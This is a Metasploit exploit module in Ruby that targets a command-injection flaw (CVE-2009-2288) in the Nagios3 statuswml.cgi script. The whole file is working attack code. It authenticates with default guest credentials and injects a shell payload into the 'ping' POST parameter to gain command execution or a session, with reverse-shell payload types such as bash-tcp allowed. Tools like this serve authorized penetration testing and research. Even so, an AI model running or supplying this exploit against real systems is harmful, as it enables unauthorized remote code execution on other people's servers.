##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nagios3 statuswml.cgi Ping Command Execution',
      'Description'    => %q{
          This module abuses a metacharacter injection vulnerability in the
        Nagios3 statuswml.cgi script. This flaw is triggered when shell
        metacharacters are present in the parameters to the ping and
        traceroute commands.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-2288' ],
          [ 'OSVDB', '55281'],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'BadChars'    => '<>',
          'Compat'      =>
            {
              'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-06-22'))

    register_options(
      [
        OptString.new('URI',  [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
        OptString.new('USER', [true, "The username to authenticate with", "guest"]),
        OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
      ])
  end

  def exploit

    uri = normalize_uri(datastore['URI'])
    print_status("Sending request to http://#{rhost}:#{rport}#{uri}")

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
      'vars_post' =>
      {
        'ping' => ';' + payload.encoded + '&'
      }
    }, 10)


    if(not res)
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end

    if(res.code == 401)
      print_error("Please specify correct values for USER and PASS")
      return
    end

    if(res.code == 404)
      print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
      return
    end

    if(res.body =~ /Invalid host name/)
      print_error("This server has already been patched")
      return
    end

    if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
      print_status("Displaying command response")
      out = $1
      print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
      return
    end

    print_status("Unknown response")
  end
end
